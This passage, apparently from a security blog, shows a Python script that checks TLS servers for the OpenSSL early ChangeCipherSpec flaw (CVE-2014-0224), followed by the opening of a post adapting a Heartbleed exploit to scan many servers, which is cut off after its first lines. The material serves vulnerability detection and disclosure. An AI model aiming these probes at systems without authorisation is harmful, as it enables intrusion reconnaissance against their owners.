 ssl3_cipher['\x00\x04'] = "TLS_RSA_WITH_RC4_128_MD5"  
 ssl3_cipher['\x00\x05'] = "TLS_RSA_WITH_RC4_128_SHA"  
 ssl3_cipher['\x00\x06'] = "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5"  
 ssl3_cipher['\x00\x07'] = "TLS_RSA_WITH_IDEA_CBC_SHA"  
 ssl3_cipher['\x00\x08'] = "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA"  
 ssl3_cipher['\x00\x09'] = "TLS_RSA_WITH_DES_CBC_SHA"  
 ssl3_cipher['\x00\x0a'] = "TLS_RSA_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\x00\x0b'] = "TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA"  
 ssl3_cipher['\x00\x0c'] = "TLS_DH_DSS_WITH_DES_CBC_SHA"  
 ssl3_cipher['\x00\x0d'] = "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\x00\x0e'] = "TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA"  
 ssl3_cipher['\x00\x0f'] = "TLS_DH_RSA_WITH_DES_CBC_SHA"  
 ssl3_cipher['\x00\x10'] = "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\x00\x11'] = "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA"  
 ssl3_cipher['\x00\x12'] = "TLS_DHE_DSS_WITH_DES_CBC_SHA"  
 ssl3_cipher['\x00\x13'] = "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\x00\x14'] = "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA"  
 ssl3_cipher['\x00\x15'] = "TLS_DHE_RSA_WITH_DES_CBC_SHA"  
 ssl3_cipher['\x00\x16'] = "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\x00\x17'] = "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5"  
 ssl3_cipher['\x00\x18'] = "TLS_DH_anon_WITH_RC4_128_MD5"  
 ssl3_cipher['\x00\x19'] = "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA"  
 ssl3_cipher['\x00\x1a'] = "TLS_DH_anon_WITH_DES_CBC_SHA"  
 ssl3_cipher['\x00\x1b'] = "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\x00\x1c'] = "SSL_FORTEZZA_KEA_WITH_NULL_SHA"  
 ssl3_cipher['\x00\x1d'] = "SSL_FORTEZZA_KEA_WITH_FORTEZZA_CBC_SHA"  
 ssl3_cipher['\x00\x1e'] = "SSL_FORTEZZA_KEA_WITH_RC4_128_SHA"  
 ssl3_cipher['\x00\x1E'] = "TLS_KRB5_WITH_DES_CBC_SHA"  
 ssl3_cipher['\x00\x1F'] = "TLS_KRB5_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\x00\x20'] = "TLS_KRB5_WITH_RC4_128_SHA"  
 ssl3_cipher['\x00\x21'] = "TLS_KRB5_WITH_IDEA_CBC_SHA"  
 ssl3_cipher['\x00\x22'] = "TLS_KRB5_WITH_DES_CBC_MD5"  
 ssl3_cipher['\x00\x23'] = "TLS_KRB5_WITH_3DES_EDE_CBC_MD5"  
 ssl3_cipher['\x00\x24'] = "TLS_KRB5_WITH_RC4_128_MD5"  
 ssl3_cipher['\x00\x25'] = "TLS_KRB5_WITH_IDEA_CBC_MD5"  
 ssl3_cipher['\x00\x26'] = "TLS_KRB5_EXPORT_WITH_DES_CBC_40_SHA"  
 ssl3_cipher['\x00\x27'] = "TLS_KRB5_EXPORT_WITH_RC2_CBC_40_SHA"  
 ssl3_cipher['\x00\x28'] = "TLS_KRB5_EXPORT_WITH_RC4_40_SHA"  
 ssl3_cipher['\x00\x29'] = "TLS_KRB5_EXPORT_WITH_DES_CBC_40_MD5"  
 ssl3_cipher['\x00\x2A'] = "TLS_KRB5_EXPORT_WITH_RC2_CBC_40_MD5"  
 ssl3_cipher['\x00\x2B'] = "TLS_KRB5_EXPORT_WITH_RC4_40_MD5"  
 ssl3_cipher['\x00\x2C'] = "TLS_PSK_WITH_NULL_SHA"  
 ssl3_cipher['\x00\x2D'] = "TLS_DHE_PSK_WITH_NULL_SHA"  
 ssl3_cipher['\x00\x2E'] = "TLS_RSA_PSK_WITH_NULL_SHA"  
 ssl3_cipher['\x00\x2F'] = "TLS_RSA_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\x00\x30'] = "TLS_DH_DSS_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\x00\x31'] = "TLS_DH_RSA_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\x00\x32'] = "TLS_DHE_DSS_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\x00\x33'] = "TLS_DHE_RSA_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\x00\x34'] = "TLS_DH_anon_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\x00\x35'] = "TLS_RSA_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\x00\x36'] = "TLS_DH_DSS_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\x00\x37'] = "TLS_DH_RSA_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\x00\x38'] = "TLS_DHE_DSS_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\x00\x39'] = "TLS_DHE_RSA_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\x00\x3A'] = "TLS_DH_anon_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\x00\x3B'] = "TLS_RSA_WITH_NULL_SHA256"  
 ssl3_cipher['\x00\x3C'] = "TLS_RSA_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\x00\x3D'] = "TLS_RSA_WITH_AES_256_CBC_SHA256"  
 ssl3_cipher['\x00\x3E'] = "TLS_DH_DSS_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\x00\x3F'] = "TLS_DH_RSA_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\x00\x40'] = "TLS_DHE_DSS_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\x00\x41'] = "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA"  
 ssl3_cipher['\x00\x42'] = "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA"  
 ssl3_cipher['\x00\x43'] = "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA"  
 ssl3_cipher['\x00\x44'] = "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA"  
 ssl3_cipher['\x00\x45'] = "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA"  
 ssl3_cipher['\x00\x46'] = "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA"  
 ssl3_cipher['\x00\x60'] = "TLS_RSA_EXPORT1024_WITH_RC4_56_MD5"  
 ssl3_cipher['\x00\x61'] = "TLS_RSA_EXPORT1024_WITH_RC2_CBC_56_MD5"  
 ssl3_cipher['\x00\x62'] = "TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA"  
 ssl3_cipher['\x00\x63'] = "TLS_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA"  
 ssl3_cipher['\x00\x64'] = "TLS_RSA_EXPORT1024_WITH_RC4_56_SHA"  
 ssl3_cipher['\x00\x65'] = "TLS_DHE_DSS_EXPORT1024_WITH_RC4_56_SHA"  
 ssl3_cipher['\x00\x66'] = "TLS_DHE_DSS_WITH_RC4_128_SHA"  
 ssl3_cipher['\x00\x67'] = "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\x00\x68'] = "TLS_DH_DSS_WITH_AES_256_CBC_SHA256"  
 ssl3_cipher['\x00\x69'] = "TLS_DH_RSA_WITH_AES_256_CBC_SHA256"  
 ssl3_cipher['\x00\x6A'] = "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256"  
 ssl3_cipher['\x00\x6B'] = "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256"  
 ssl3_cipher['\x00\x6C'] = "TLS_DH_anon_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\x00\x6D'] = "TLS_DH_anon_WITH_AES_256_CBC_SHA256"  
 ssl3_cipher['\x00\x80'] = "TLS_GOSTR341094_WITH_28147_CNT_IMIT"  
 ssl3_cipher['\x00\x81'] = "TLS_GOSTR341001_WITH_28147_CNT_IMIT"  
 ssl3_cipher['\x00\x82'] = "TLS_GOSTR341094_WITH_NULL_GOSTR3411"  
 ssl3_cipher['\x00\x83'] = "TLS_GOSTR341001_WITH_NULL_GOSTR3411"  
 ssl3_cipher['\x00\x84'] = "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA"  
 ssl3_cipher['\x00\x85'] = "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA"  
 ssl3_cipher['\x00\x86'] = "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA"  
 ssl3_cipher['\x00\x87'] = "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA"  
 ssl3_cipher['\x00\x88'] = "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA"  
 ssl3_cipher['\x00\x89'] = "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA"  
 ssl3_cipher['\x00\x8A'] = "TLS_PSK_WITH_RC4_128_SHA"  
 ssl3_cipher['\x00\x8B'] = "TLS_PSK_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\x00\x8C'] = "TLS_PSK_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\x00\x8D'] = "TLS_PSK_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\x00\x8E'] = "TLS_DHE_PSK_WITH_RC4_128_SHA"  
 ssl3_cipher['\x00\x8F'] = "TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\x00\x90'] = "TLS_DHE_PSK_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\x00\x91'] = "TLS_DHE_PSK_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\x00\x92'] = "TLS_RSA_PSK_WITH_RC4_128_SHA"  
 ssl3_cipher['\x00\x93'] = "TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\x00\x94'] = "TLS_RSA_PSK_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\x00\x95'] = "TLS_RSA_PSK_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\x00\x96'] = "TLS_RSA_WITH_SEED_CBC_SHA"  
 ssl3_cipher['\x00\x97'] = "TLS_DH_DSS_WITH_SEED_CBC_SHA"  
 ssl3_cipher['\x00\x98'] = "TLS_DH_RSA_WITH_SEED_CBC_SHA"  
 ssl3_cipher['\x00\x99'] = "TLS_DHE_DSS_WITH_SEED_CBC_SHA"  
 ssl3_cipher['\x00\x9A'] = "TLS_DHE_RSA_WITH_SEED_CBC_SHA"  
 ssl3_cipher['\x00\x9B'] = "TLS_DH_anon_WITH_SEED_CBC_SHA"  
 ssl3_cipher['\x00\x9C'] = "TLS_RSA_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\x00\x9D'] = "TLS_RSA_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\x00\x9E'] = "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\x00\x9F'] = "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\x00\xA0'] = "TLS_DH_RSA_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\x00\xA1'] = "TLS_DH_RSA_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\x00\xA2'] = "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\x00\xA3'] = "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\x00\xA4'] = "TLS_DH_DSS_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\x00\xA5'] = "TLS_DH_DSS_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\x00\xA6'] = "TLS_DH_anon_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\x00\xA7'] = "TLS_DH_anon_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\x00\xA8'] = "TLS_PSK_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\x00\xA9'] = "TLS_PSK_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\x00\xAA'] = "TLS_DHE_PSK_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\x00\xAB'] = "TLS_DHE_PSK_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\x00\xAC'] = "TLS_RSA_PSK_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\x00\xAD'] = "TLS_RSA_PSK_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\x00\xAE'] = "TLS_PSK_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\x00\xAF'] = "TLS_PSK_WITH_AES_256_CBC_SHA384"  
 ssl3_cipher['\x00\xB0'] = "TLS_PSK_WITH_NULL_SHA256"  
 ssl3_cipher['\x00\xB1'] = "TLS_PSK_WITH_NULL_SHA384"  
 ssl3_cipher['\x00\xB2'] = "TLS_DHE_PSK_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\x00\xB3'] = "TLS_DHE_PSK_WITH_AES_256_CBC_SHA384"  
 ssl3_cipher['\x00\xB4'] = "TLS_DHE_PSK_WITH_NULL_SHA256"  
 ssl3_cipher['\x00\xB5'] = "TLS_DHE_PSK_WITH_NULL_SHA384"  
 ssl3_cipher['\x00\xB6'] = "TLS_RSA_PSK_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\x00\xB7'] = "TLS_RSA_PSK_WITH_AES_256_CBC_SHA384"  
 ssl3_cipher['\x00\xB8'] = "TLS_RSA_PSK_WITH_NULL_SHA256"  
 ssl3_cipher['\x00\xB9'] = "TLS_RSA_PSK_WITH_NULL_SHA384"  
 ssl3_cipher['\x00\xBA'] = "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256"  
 ssl3_cipher['\x00\xBB'] = "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256"  
 ssl3_cipher['\x00\xBC'] = "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256"  
 ssl3_cipher['\x00\xBD'] = "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256"  
 ssl3_cipher['\x00\xBE'] = "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256"  
 ssl3_cipher['\x00\xBF'] = "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256"  
 ssl3_cipher['\x00\xC0'] = "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256"  
 ssl3_cipher['\x00\xC1'] = "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256"  
 ssl3_cipher['\x00\xC2'] = "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256"  
 ssl3_cipher['\x00\xC3'] = "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256"  
 ssl3_cipher['\x00\xC4'] = "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256"  
 ssl3_cipher['\x00\xC5'] = "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256"  
 ssl3_cipher['\x00\x00'] = "TLS_EMPTY_RENEGOTIATION_INFO_SCSV"  
 ssl3_cipher['\xc0\x01'] = "TLS_ECDH_ECDSA_WITH_NULL_SHA"  
 ssl3_cipher['\xc0\x02'] = "TLS_ECDH_ECDSA_WITH_RC4_128_SHA"  
 ssl3_cipher['\xc0\x03'] = "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xc0\x04'] = "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\xc0\x05'] = "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\xc0\x06'] = "TLS_ECDHE_ECDSA_WITH_NULL_SHA"  
 ssl3_cipher['\xc0\x07'] = "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA"  
 ssl3_cipher['\xc0\x08'] = "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xc0\x09'] = "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\xc0\x0a'] = "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\xc0\x0b'] = "TLS_ECDH_RSA_WITH_NULL_SHA"  
 ssl3_cipher['\xc0\x0c'] = "TLS_ECDH_RSA_WITH_RC4_128_SHA"  
 ssl3_cipher['\xc0\x0d'] = "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xc0\x0e'] = "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\xc0\x0f'] = "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\xc0\x10'] = "TLS_ECDHE_RSA_WITH_NULL_SHA"  
 ssl3_cipher['\xc0\x11'] = "TLS_ECDHE_RSA_WITH_RC4_128_SHA"  
 ssl3_cipher['\xc0\x12'] = "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xc0\x13'] = "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\xc0\x14'] = "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\xc0\x15'] = "TLS_ECDH_anon_WITH_NULL_SHA"  
 ssl3_cipher['\xc0\x16'] = "TLS_ECDH_anon_WITH_RC4_128_SHA"  
 ssl3_cipher['\xc0\x17'] = "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xc0\x18'] = "TLS_ECDH_anon_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\xc0\x19'] = "TLS_ECDH_anon_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\xC0\x1A'] = "TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xC0\x1B'] = "TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xC0\x1C'] = "TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xC0\x1D'] = "TLS_SRP_SHA_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\xC0\x1E'] = "TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\xC0\x1F'] = "TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\xC0\x20'] = "TLS_SRP_SHA_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\xC0\x21'] = "TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\xC0\x22'] = "TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\xC0\x23'] = "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\xC0\x24'] = "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384"  
 ssl3_cipher['\xC0\x25'] = "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\xC0\x26'] = "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384"  
 ssl3_cipher['\xC0\x27'] = "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\xC0\x28'] = "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384"  
 ssl3_cipher['\xC0\x29'] = "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\xC0\x2A'] = "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384"  
 ssl3_cipher['\xC0\x2B'] = "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\xC0\x2C'] = "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\xC0\x2D'] = "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\xC0\x2E'] = "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\xC0\x2F'] = "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\xC0\x30'] = "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\xC0\x31'] = "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256"  
 ssl3_cipher['\xC0\x32'] = "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384"  
 ssl3_cipher['\xC0\x33'] = "TLS_ECDHE_PSK_WITH_RC4_128_SHA"  
 ssl3_cipher['\xC0\x34'] = "TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xC0\x35'] = "TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA"  
 ssl3_cipher['\xC0\x36'] = "TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA"  
 ssl3_cipher['\xC0\x37'] = "TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256"  
 ssl3_cipher['\xC0\x38'] = "TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384"  
 ssl3_cipher['\xC0\x39'] = "TLS_ECDHE_PSK_WITH_NULL_SHA"  
 ssl3_cipher['\xC0\x3A'] = "TLS_ECDHE_PSK_WITH_NULL_SHA256"  
 ssl3_cipher['\xC0\x3B'] = "TLS_ECDHE_PSK_WITH_NULL_SHA384"  
 ssl3_cipher['\xfe\xfe'] = "SSL_RSA_FIPS_WITH_DES_CBC_SHA"  
 ssl3_cipher['\xfe\xff'] = "SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xff\xe0'] = "SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA"  
 ssl3_cipher['\xff\xe1'] = "SSL_RSA_FIPS_WITH_DES_CBC_SHA"  
   
 def getSSLRecords(strBuf):  
   lstRecords = []  
   if len(strBuf)>=9:  
     sslStatus = struct.unpack('>BHHI', strBuf[0:9])  
     iType = (sslStatus[3] & (0xFF000000))>>24  
     iRecordLen = sslStatus[3] & (0x00FFFFFF)  
     iShakeProtocol = sslStatus[0]  
     iSSLLen = sslStatus[2]  
     #log(2,"iSSLLen == %d, len(strBuf) == %d, iRecordLen == %d",iSSLLen,len(strBuf),iRecordLen)  
     if (iRecordLen + 5 < iSSLLen):  
       #log(2,"Multiple Handshakes")  
       lstRecords.append((iShakeProtocol,iType))  
       iLoopStopper = 0  
       iNextOffset = iRecordLen + 9  
       while iNextOffset < len(strBuf):  
         iLoopStopper += 1  
         iCount = 0  
         while ((iNextOffset+4) > len(strBuf) and iCount < 5):  
           #log(2,"Need more data to fill buffer")  
           iCount += 1  
           rule.waitForData()  
           if len(rule.buffer) > 0:  
             strBuf += rule.buffer  
         if ((iNextOffset+4) > len(strBuf)):  
           #log(2,"End of message")  
           break  
         iTypeAndLen = struct.unpack(">I",strBuf[iNextOffset:iNextOffset+4])[0]  
         iRecordLen = iTypeAndLen & (0x00FFFFFF)  
         iType = (iTypeAndLen & (0xFF000000))>>24  
         lstRecords.append((iShakeProtocol,iType))  
         iNextOffset += (iRecordLen + 4)  
         if iLoopStopper > 8:  
           break  
       return lstRecords  
     elif (iRecordLen + 9 < len(strBuf)):  
       #log(2,"Multiple Records")  
       lstRecords.append((iShakeProtocol,iType))  
       iNextOffset = iRecordLen + 9  
       iLoopStopper = 0  
       while iNextOffset+6 < len(strBuf):  
         iLoopStopper += 1  
         iShakeProtocol = struct.unpack(">B",strBuf[iNextOffset])[0]  
         iRecordLen = struct.unpack(">H",strBuf[iNextOffset+3:iNextOffset+5])[0]  
         iType = struct.unpack(">B",strBuf[iNextOffset+5])[0]  
         #log(2,"iShakeProto == %d, iRecordLen == %d, iType == %d",iShakeProtocol,iRecordLen,iType)  
         lstRecords.append((iShakeProtocol,iType))  
         iNextOffset += iRecordLen + 5  
         if iLoopStopper > 8:  
           break  
       return lstRecords  
     elif (iRecordLen + 9 == len(strBuf)):  
       #log(2,"Single record")  
       sslStatus = checkSSLHeader(strBuf)  
       lstRecords.append((sslStatus[0],sslStatus[2]))  
       return lstRecords  
   return None      
     
 def checkSSLHeader(strBuf):  
   if len(strBuf)>=6:  
     sslStatus = struct.unpack('>BHHI', strBuf[0:9])  
     iType = (sslStatus[3] & (0xFF000000))>>24  
     iRecordLen = sslStatus[3] & (0x00FFFFFF)  
     iShakeProtocol = sslStatus[0]  
     iSSLLen = sslStatus[2]      
     return (iShakeProtocol,iSSLLen,iType,iRecordLen)  
   return None  
   
 def makeHello(strSSLVer):  
   r = "\x16" # Message Type 22  
   r += dSSL[strSSLVer]  
   strCiphers = ""   
   for c in ssl3_cipher.keys():  
     strCiphers += c  
   dLen = 43 + len(strCiphers)  
   r += struct.pack("!H",dLen)  
   h = "\x01"  
   strPlen = struct.pack("!L",dLen-4)  
   h+=strPlen[1:]  
   h+= dSSL[strSSLVer]  
   rand = struct.pack("!L", int(time.time()))  
   rand += "\x36\x24\x34\x16\x27\x09\x22\x07\xd7\xbe\xef\x69\xa1\xb2"  
   rand += "\x37\x23\x14\x96\x27\xa9\x12\x04\xe7\xce\xff\xd9\xae\xbb"  
   h+=rand  
   h+= "\x00" # No Session ID  
   h+=struct.pack("!H",len(strCiphers))  
   h+=strCiphers  
   h+= "\x01\x00"  
   return r+h  
   
 iVulnCount = 0  
 for strVer in ["TLSv1.2","TLSv1.1","TLSv1","SSLv3"]:  
   strHello = makeHello(strVer)  
   strLogPre = "[%s] %s:%d" % (strVer,strHost,iPort)  
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
   try:  
     s.connect((strHost,iPort))  
     s.settimeout(5)  
   except:  
     print "Failure connecting to %s:%d." % (strHost,iPort)  
     quit()  
   s.send(strHello)  
   #print "Sending %s Client Hello" % (strVer)  
   iCount = 0  
   fServerHello = False  
   fCert = False  
   fKex = False  
   fHelloDone = False  
   while iCount<5:  
     iCount += 1  
     try:  
       recv = s.recv(2048)  
     except:  
       continue  
     lstRecords = getSSLRecords(recv)  
     #strLogMessage = "iCount = %d; lstRecords = %s" % (iCount,lstRecords)  
     #log(2,strLogMessage)  
     if lstRecords != None and len(lstRecords) > 0:  
       for (iShakeProtocol,iType) in lstRecords:  
         if iShakeProtocol == 22:  
           if iType == 2:  
             fServerHello = True  
           elif iType == 11:  
             fCert = True  
           elif iType == 12:  
             fKex = True  
           elif iType == 14:  
             fHelloDone = True  
       if (fServerHello and fCert):  
         break  
     else:  
       #log(2, "Handshake missing or invalid. Aborting.")  
       continue  
   if not (fServerHello and fCert):  
     print "%s Invalid handhsake." % (strLogPre)  
   elif len(recv)>0:  
     #print "Received %d bytes. (%d)" % (len(recv),ord(recv[0]))  
     if ord(recv[0])==22:  
       iCount = 0  
       strChangeCipherSpec = "\x14"  
       strChangeCipherSpec += dSSL[strVer]  
       strChangeCipherSpec += "\x00\x01" # Len  
       strChangeCipherSpec += "\x01" # Payload CCS  
       #print "Sending Change Cipher Spec"  
       s.send(strChangeCipherSpec)  
       fVuln = True  
       strLastMessage = ""  
       while iCount < 5:  
         iCount += 1  
         s.settimeout(0.5)  
         try:  
           recv = s.recv(2048)  
         except socket.timeout:  
           #print "Timeout waiting for CCS reply."  
           continue  
         if (len(recv)>0):  
           strLastMessage = recv  
           if (ord(recv[0])==21):  
             fVuln = False  
             break  
       try:  
         if ord(strLastMessage[-7]) == 21: # Check if an alert was at the end of the last message.  
           fVuln=False  
       except IndexError:  
         pass  
       if fVuln:  
         print "[%s] %s:%d allows early CCS" % (strVer,strHost,iPort)  
         iVulnCount += 1  
       else:  
         print "[%s] %s:%d rejected early CCS" % (strVer,strHost,iPort)  
   else:  
     print "[%s] No response from %s:%d" % (strVer,strHost,iPort)  
   try:  
     s.close()  
   except:  
     pass  
 if iVulnCount > 0:  
   print "***This System Exhibits Potentially Vulnerable Behavior***"  
   quit(1)  
 else:  
   print "No need to patch."  
   quit(0)  
   


Reference:
- http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/
- http://www.openssl.org/news/secadv_20140605.txt

Thanks. 

Wednesday, 9 April 2014

A OpenSSL HeartBleed vulnerability Python

As you know, At 8/Apr/2014, Called OpenSSL heartbleed ZeroDay bug is security vulnerability.
A hacker could gain Server's memory chuck using this vulnerability


Affected SSL version:
OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable


I need check servers, so I modified the exploit to check lots servers.


 #!/usr/bin/python  
    
 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)  
 # The author disclaims copyright to this source code.  
    
 import sys  
 import struct  
 import socket  
 import time  
 import select  
 import re  
 from optparse import OptionParser  
   
 '''   
 options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')  
 options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')  
 '''  
   
 def ip_n_port(i):  
   data = str(i).replace("\n","")  
   data = str(i).replace(" ","")  
   data = data.split(":")  
   ip = data[0]  
